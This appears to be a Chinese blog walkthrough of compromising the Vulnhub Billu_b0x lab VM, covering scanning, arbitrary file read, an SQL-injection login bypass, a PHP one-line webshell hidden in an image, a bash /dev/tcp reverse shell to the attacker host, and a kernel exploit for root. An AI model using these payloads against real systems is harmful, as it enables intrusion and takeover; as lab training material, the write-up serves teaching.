vulnhub-billu_b0x靶机渗透

一、靶场详情

Billu_b0x 是 Vulnhub 上的经典中等难度靶机,主要考察从信息收集到提权的完整渗透流程:先通过端口和目录扫描发现网站入口,利用 SQL 注入或文件包含进入后台并上传 WebShell,再通过反弹 Shell 获取低权限用户,最后结合内核漏洞完成提权,最终拿到 root 权限,非常适合初学者系统练习 Web 渗透与 Linux 提权。

配置介绍:

  • 靶机:192.168.50.129
  • kali:192.168.50.130

二、信息收集

1.获取目标 ip

通过 arp-scan -l 扫描到在线主机(靶机)

复制代码
arp-scan -l

2.扫描目标信息

通过 nmap 扫描目标详情,得知靶机开启了 80 和 22 端口。

复制代码
nmap -p- 192.168.50.129

访问 80 端口,发现该页面存在登录功能。

3. 对该 web 服务进行目录扫描

复制代码
dirsearch -u http://192.168.50.129/ -i 200

目录扫描,扫描出 add.php,head.php,c,phpmy/,test.php 等页面,依次访问。

test.php 页面

phpmy/页面

三、漏洞发现及利用

1.任意文件读取

经过信息收集发现 test.php 页面,该页面提示给 file 参数进行传值,先进行 get 传参,发现没任何变化,那就抓包 post 传参。令 file=/etc/passwd,发包发现返回内容,则此处存在任意文件读取漏洞。令 file=信息收集到的几个页面,进行源码查看。

2.绕过登录

方法 1: 文件包含获得密码

在任意文件读取处,令 file=信息收集到的几个页面,进行源码查看。经过几个页面的分析,发现几个有用的信息。

令 file=c 时,疑似得到数据库的账号和密码。想到在信息收集时,收集到了 phpmy/页面为 phpmyadmin 登录页面。

拿此密码进行登录尝试,发现登录成功。

发现该数据库中存在 ica_lab 库,该库中有 3 张表,auth 表中存有账号密码。

怀疑是主页面的登录账号密码,进行登录尝试,发现登录成功。

方法 2:sql 注入

通过文件包含 index.php 主页面,可以知道该登录机制的源码

复制代码
if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);

参数uname和pass都对单引号做了过滤,单引号转化为空,最后的 sql 执行语句因该如下

复制代码
select * from auth where  pass='$pass' and uname='$uname'

当传入的密码为 \ 时,sql 语句变为

复制代码
select * from auth where  pass='\' and uname='$uname'

当传入的用户名为 or 1=1#时,sql 语句变为

复制代码
select * from auth where  pass='\' and uname='or 1=1#'

即 username=or 1=1#,password=\ 可绕过登录。

登录成功。

3.文件包含利用

(1)分析数据包

在登录之后,右键查看源码,发现图片存放的地址,可得到图片存放的地址。

抓包分析该页面的数据包。

使用前面发现的任意文件读取漏洞查看该页面源码。

经过分析发现,此处存在文件包含漏洞,会将包含的文件当做 php 执行,又知道上传图片存放的地址,则这里可以使用图片马进行利用。

(2)图片马制作

复制代码
copy 1.jpg/b+yijuhua.php/a tupianma.jpg

#copy,Windows 的文件复制命令,但它有一个特性:支持文件拼接。
#1.jpg/b,1.jpg 是一个图片文件,/b 表示 以二进制模式复制,防止换行符、EOF 等问题。
#+,代表把多个文件合并。
#yijuhua.php/a,yijuhua.php 是一个 PHP 文件(一句话木马,<?php system($_GET['cmd']);?>),/a 表示 以 ASCII 模式复制。
#tupianma.jpg,输出的目标文件名,即最终生成的文件。

将制作好的一句话木马图片上传,然后令 load 参数的值为该木马图片的路径。因为此处是通过抓包修改参数进行的文件包含,具有一次性,故不能进行蚁剑连接。

因为几句话木马为<?php system($_GET['cmd']);?>,所有在抓包修改时,直接在 get 请求中添加 cmd 参数进行触发木马。可以看到,命令执行成功。

(3)反弹 shell

这里需要使用反弹 shell 的方式连接靶机。

首先需要在 kali 中开启端口监听。

其次使用 cmd 参数执行命令,进行反弹 shell。

复制代码
echo "bash -i > /dev/tcp/192.168.50.130/4444 0>&1" | bash
# bash -i,启动一个 交互式 bash shell
# > /dev/tcp/192.168.33.130/4444  把当前 shell 的标准输出重定向到攻击者 192.168.33.130:4444 上。
# 0>&1,这表示把 标准输入(fd 0)重定向到标准输出(fd 1)。

注意,需要对该命令进行 url 编码

复制代码
echo+%22bash+-i+%3e+%2fdev%2ftcp%2f192.168.50.130%2f4444+0%3e%261%22+%7c+bash

点击发送,发现 kali 中已经成功连接。

因为通过 nc 拿到的 shell 是 最简陋的 TTY

  • 没有命令提示符
  • 没有命令补全(Tab)
  • 输入密码时也不会显示 *
  • 输出可能乱码或显示不完整

可以在反弹 shell 里输入以下命令升级 shell

复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

(4)查看系统版本信息

复制代码
cat /etc/*release

四、提权

1.查找 exp

在得知靶机的系统版本后,在 kali 中搜索是否有该版本的漏洞。

复制代码
searchsploit Ubuntu 12.04

可以利用37292.c 这个 exp,首先将 37292.c 这个文件复制到桌面的 billu 文件中。

复制代码
locate 37292.c   #查询37292.c文件的位置
cp  .c billu     #将.c文件复制到billu中

2.开启 http 服务

在 billu 文件中,开启 http 服务,以便可以下载该文件到靶机中。

复制代码
python -m http.server 8080

接下来使用 weget 将 37292.c 文件从 kali 中下载到靶机中。这里需要注意,/var/www 目录下没有写入的权限,需要先将目录切换到/var/tmp 中,将 37292.c 文件下载到/var/tmp 中。

3.编译,赋权,执行

接下来就是要对该文件进行编译,赋权,执行。获得 root 权限

复制代码
gcc 37292.c -o 37292 #将该文件编译后输出为37292

chmod +x 37292       #给编译好的文件执行权限

./37292              #执行文件
相关推荐
浩浩测试一下7 小时前
06高级语言逻辑结构到汇编语言之逻辑结构转换 for (...; ...; ...)
汇编·数据结构·算法·安全·web安全·网络安全·安全架构
Jzhoucdc8 小时前
CPTS-Agile (Werkzeug / Flask Debug)
渗透测试·cpts
爱思德学术11 小时前
中国计算机学会(CCF)推荐学术会议-A(网络与信息安全):Eurocrypt 2026
安全·网络安全·密码学
jieyu111914 小时前
Python 实战:内网渗透中的信息收集自动化脚本(2)
python·网络安全·脚本开发
云声风语16 小时前
CTF-RSA-openssl-pem格式的key
网络安全·密码学
天纵软件1 天前
全国网络安全知识竞赛有哪些
网络安全·技能知识竞赛·知识竞赛活动公司·知识竞赛活动策划·知识竞赛软件·高端知识竞赛活动
安全漏洞防治中心2 天前
Roadmap:一年实现安全漏洞防治自动化
运维·web安全·网络安全·自动化·漏洞管理·漏洞处置sop·漏洞紧急修复建议
Bruce_Liuxiaowei2 天前
使用批处理脚本安全清理Windows系统垃圾
网络·windows·安全·网络安全
lingggggaaaa2 天前
小迪安全v2023学习笔记(七十讲)—— Python安全&SSTI模板注入&项目工具
笔记·python·学习·安全·web安全·网络安全·ssti